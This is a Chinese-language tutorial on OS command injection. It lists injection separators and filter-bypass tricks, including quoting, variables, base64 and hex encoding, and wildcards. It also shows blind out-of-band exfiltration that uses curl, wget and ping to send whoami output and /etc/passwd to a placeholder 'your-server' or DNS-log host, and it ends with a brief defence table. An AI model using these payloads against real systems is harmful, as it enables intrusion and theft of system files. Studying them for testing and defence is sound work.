命令执行漏洞¶
当应用把用户输入直接拼接到系统命令中执行时,攻击者就能注入自己的命令。比如一个 ping 功能,输入
127.0.0.1; cat /etc/passwd,分号后面的命令也会被执行。
常见拼接符¶
不同的拼接符行为不同,实战中都要试一遍:
| 拼接符 | 含义 | 示例 |
|---|---|---|
; | 顺序执行,不管前面成不成功 | ping 127.0.0.1; whoami |
\| | 管道,前面的输出传给后面 | ping 127.0.0.1 \| whoami |
\|\| | 前面失败才执行后面 | ping xxx \|\| whoami |
&& | 前面成功才执行后面 | ping 127.0.0.1 && whoami |
`cmd` | 反引号,内联执行 | ping `whoami` |
$(cmd) | 命令替换,同反引号 | ping $(whoami) |
%0a | 换行符(URL 编码) | 127.0.0.1%0awhoami |
绕过方式¶
空格被过滤¶
cat</etc/passwd # 用 < 替代空格
cat${IFS}/etc/passwd # $IFS 是内部字段分隔符,默认包含空格
{cat,/etc/passwd} # 花括号展开
cat$IFS$9/etc/passwd # $9 是空的位置参数
关键词被过滤¶
# 拼接绕过
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
# 变量绕过
a=c;b=at;$a$b /etc/passwd
# Base64 编码绕过
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
# 十六进制绕过
$(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')
# 通配符绕过
/bin/c?t /etc/passwd
/bin/ca* /etc/passwd
路径被过滤¶
回显被禁止(无回显/盲注)¶
没有回显时,用外带数据的方式判断:
# DNS 外带
ping `whoami`.your-dnslog.com
# HTTP 外带
curl http://your-server/?data=$(whoami)
wget http://your-server/$(cat /etc/passwd | base64)
# 延时判断
sleep 5 # 响应延迟 5 秒说明命令执行了
常见漏洞函数¶
| 语言 | 危险函数 |
|---|---|
| PHP | system() exec() passthru() shell_exec() popen() `cmd` |
| Python | os.system() os.popen() subprocess.call() |
| Java | Runtime.getRuntime().exec() |
| Node.js | child_process.exec() |
防御方案¶
| 方案 | 说明 |
|---|---|
| 避免调用系统命令 | 能用语言内置函数实现的功能,不要调 shell |
| 参数化传递 | 用数组方式传参,不拼接字符串 |
| 白名单校验 | 只允许预期的输入格式(比如 IP 只允许数字和点) |
| 最小权限 | Web 服务用低权限账户运行 |